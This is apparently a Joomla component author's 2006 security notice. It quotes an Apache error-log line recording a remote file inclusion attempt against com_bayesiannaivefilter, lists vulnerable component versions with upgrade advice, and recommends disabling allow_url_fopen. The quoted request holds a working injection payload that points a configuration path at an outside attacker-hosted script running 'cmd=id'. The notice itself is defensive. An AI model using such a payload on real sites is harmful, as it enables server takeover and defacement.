I've already tried to reduce the surface of attack of my homepage by removing all un-needed components, modules, mambots but here is below what I've found into the log files...
Hackers trying remote code injection
were found more than one time in apache error.log
[Thu Aug 17 17:29:05 2006] [error] [client 18.104.22.168] Invalid URI in request GET administrator/components/com_bayesiannaivefilter/lang.php?mosConfig_absolute_path=[http://recon.reschat.dk/images/gallery/tool25.txt?cmd=id HTTP/1.0
Remember You should ASAP update the following components to their latest version:
- com_securityimages < 3.0.5 use at least a version > 3.0.6
- com_hashcash < 1.2.1 use at least a version > 1.2.2
- com_bayesiannaivefilter has been developed but never release as a component, but it is still available at Joomla forge developer tree.
Defacing Tool 2.0 by xxxxxxDefacing Tool 2.0 by xxxxxxx" is a suite of php based scripts that allows the attacker to send commands to the server primarily with the intent to deface websites.
- For com_bayesiannaivefilter sorry guys but I do not have this plugins nor it has ever been released in the wild. com_securityimages or com_hashcash, just Upgrade!
- If you manage a web host for which you are certain does not require the use of remote includes, you can disable that functionality in your php.ini configuration file by modifying the following variable. /etc/php.ini allow_url_fopen = Off
